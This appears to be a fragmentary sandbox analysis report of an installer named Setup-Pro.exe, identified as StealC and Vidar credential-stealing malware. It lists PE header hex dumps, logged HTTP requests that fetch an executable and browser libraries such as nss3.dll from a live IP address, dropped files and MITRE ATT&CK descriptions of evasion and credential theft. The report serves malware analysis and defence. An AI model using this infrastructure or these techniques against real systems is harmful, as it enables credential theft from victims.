04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 11 Oct 2024 20:32:42 GMTContent-Type: application/x-msdos-programContent-Length: 80880Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 08:49:08 GMTETag: "13bf0-5e7ea271b0900"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.249.162

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 45.66.249.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /55145c8889ec57f2/sqlite3.dll HTTP/1.1Host: 45.66.249.162Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /55145c8889ec57f2/freebl3.dll HTTP/1.1Host: 45.66.249.162Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /55145c8889ec57f2/mozglue.dll HTTP/1.1Host: 45.66.249.162Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /55145c8889ec57f2/mozglue.dll HTTP/1.1Host: 45.66.249.162Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /55145c8889ec57f2/msvcp140.dll HTTP/1.1Host: 45.66.249.162Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /55145c8889ec57f2/nss3.dll HTTP/1.1Host: 45.66.249.162Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /55145c8889ec57f2/softokn3.dll HTTP/1.1Host: 45.66.249.162Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /55145c8889ec57f2/vcruntime140.dll HTTP/1.1Host: 45.66.249.162Cache-Control: no-cache

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Setup-Pro.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAFBAKEC

C:\ProgramData\AEHIDAKECFIEBGDHJEBKKKKJKK

C:\ProgramData\BKJEGDGI

C:\ProgramData\CBGCAFIIECBFIDHIJKFB

C:\ProgramData\FIJECAEHJJJKJKFIDGCB

C:\ProgramData\HCBAKJEHDBGHIEBGCGDGHCAKEB

C:\ProgramData\HJEHIJEBKEBFBFHIIDHIIDGIJE

C:\ProgramData\IDHIDBAEGIIIDHJKEGDB

C:\ProgramData\KKJKFBKKECFHJKEBKEHIDAEBKF

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
Setup-Pro.exe

Function 03019C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 030045C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Function 03007710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 0300BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6CC735A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 03014910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 03019010 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 184
COMMON

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre